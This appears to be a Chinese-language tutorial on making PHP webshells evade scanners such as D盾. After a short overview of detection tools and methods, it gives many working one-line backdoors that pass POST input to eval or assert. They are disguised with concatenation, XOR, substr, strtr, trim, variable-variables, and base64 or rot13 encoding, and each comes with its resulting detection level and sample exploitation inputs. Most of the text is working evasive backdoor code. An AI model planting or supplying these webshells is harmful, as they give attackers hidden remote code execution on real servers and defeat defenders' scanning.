webshell 查杀软件:
d盾、安全狗、护卫神、Sangfor WebShellKill
在线查杀
百度WEBDIR+
https://scanner.baidu.com
河马
https://www.shellpub.com
cloudwalker牧云
https://webshellchop.chaitin.cn
查杀技术
静态检测、动态检测、日志检查
- 静态检查:匹配特征码、危险函数、木马特征值。优点:方便快捷,对已知木马特征查找准确率高,缺点是误报率高,0day型木马无法查找。
- 动态检测:通过木马程序的动态特征来检测,当程序执行时表现出的特征即为动态特征。
- 日志检测:通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。
webshell免杀
免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。
普通一句话木马
<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>
直接使用eval是3级,使用 assert 是5级
——————
在蚁剑连接中,仅使用assert的payload不可连接
原因有两个:一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码。
看到分析文章:
关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)
PHP版本>7 时,assert 函数进行了更新, 无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。
不过下面的webshell 还是在php5环境下以 assert 函数进行测试。
——————
因为还在学习阶段,对于这些姿势可能不能对查杀工具完全免杀,但是也能降低危险级别。
主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。
免杀绕过姿势
字符串变形
对字符串各种拼接转换,十分灵活,方法各式各样。易拓展。
这里先直接对 assert 每个字符串进行拼接。
<?php
$x= 'a'.'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>
查杀结果还是 5 级,拼接的 assert 能正常检测
substr() 函数
使用 substr() 函数截断
<?php
$x= substr('21a',2).'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>
再次D盾检测,新版级别变为了 3 ,旧版级别为 4
————————
异或
<?php
$x = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>
新版D盾为已知后门,旧版级别为 3
————————
传参拼接
一般情况只需传入一个参数,是要执行的命令。
这里再增加一个传参,作为 assert 的拆解部分。
<?php
$a='ass';
$b=$a.$_POST["a2"];
$x = $_POST["a1"];
$b($x);
?>
利用,post以下数据:
a2=ert&a1=phpinfo()
新版D盾查杀等级为 3 ,旧版为 2
strtr() 函数
对替换字符,被替换的'xjdm' 必须和替换成的 'sser' 是相同长度。
<?php
$x = strtr('axjdmt','xjdm','sser');
$x($_POST['a']);
?>
旧版D盾级别为 1 ,基本算绕过。新版为已知后门
substr_replace()函数
绕过旧版,新版为已知后门
<?php
$x = substr_replace('ajdmkh','ssert',1);
$x($_POST['a']);
?>
稍微变化一下
新版旧版级别都为 3
<?php
$x = substr_replace('ajdmk','sser',1).'t';
$x($_POST['a']);
?>
substr_replace()函数和strtr() 函数都是已知后门,那如果组合一下。
新版仍为前面的 3 级,旧版为 1
<?php
$x = strtr('aghn','ghn','sse').substr_replace('rx','t',1);
$x($_POST['a']);
?>
trim()函数
规定从字符串中删除哪些字符。如果不选第二个参数,则移除以下所有字符 \0 - NULL; \t - 制表符;\n - 换行;\x0B - 垂直制表符;\r - 回车;空格
<?php
$x = trim('/assert/','/');
$x($_POST['a']);
?>
D盾查杀级别为 1
如果是这样,让trim()函数删除空格,查杀等级还是为 4 级。
$x = trim(' assert ');
————————————
自定义函数
<?php
function test($a){
$a($_POST['a']);
}
test('assert');
?>
新版D盾和旧版扫描结果级别都为 2
——————————
前面都是对 assert 字符串进行操作,下面对 $_POST['a'] 进行操作。包括结合前面的,同时对 assert 和 $_POST['a'] 处理的结果。
——————————
反引号
<?php
$a=$_POST['a'];
$x='assert';
$x(`/***123***/`.$a);
?>
新版D盾结果级别为 4,旧版为 2
结合前面的 substr()函数
查杀等级新版D盾变为1,旧版变为2
<?php
$a=$_POST['a'];
$x=substr('1a',1).'ssert';
$x(`/***123***/`.$a);
?>
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
<?php
$a=$_POST['a'];
$x=('!'^'@').'ssert';
$x(`/***123***/`.$a);
?>
——————————
变量覆盖
使用$$覆盖变量,这里对字符串 $_POST['a'] 进行操作
<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>
此时级别为 2
对 assert 结合前面的 substr()函数。
<?php
$x=substr('1a',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>
查杀等级新版D盾变为1,旧版变为2
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
<?php
$x=('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>
trim()函数结合变量覆盖
D盾等级为2
<?php
$a = 'ttt';
$$a=trim('/assert/','/');
$f ='hello';
$$f = $_POST['a'];
$ttt($hello)
?>
——————————
base64参数编码
<?php
$x= 'assert';
$a=base64_decode($_POST['a']);
$x($a)
?>
利用:
a=cGhwaW5mbygp
这里效果不免杀
结合substr()函数
新版D盾查杀结果级别为 1,旧版为 4
<?php
$x= substr('1a',1).'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>
————————
rot13参数编码
和前面 base64编码效果是一样的
<?php
$x= 'assert';
$a=str_rot13($_POST['a']);
$x($a)
?>
a=cucvasb()
结合substr()函数
新版D盾查杀结果级别为 1,旧版为 4
<?php
$x= substr('1a',1).'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
<?php
$x= ('!'^'@').'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>
————————
还有很多姿势可以利用与开发。
比如数组(一维、二维、多维)的利用。
还有各种回调函数的利用,比如回调函数 array_map()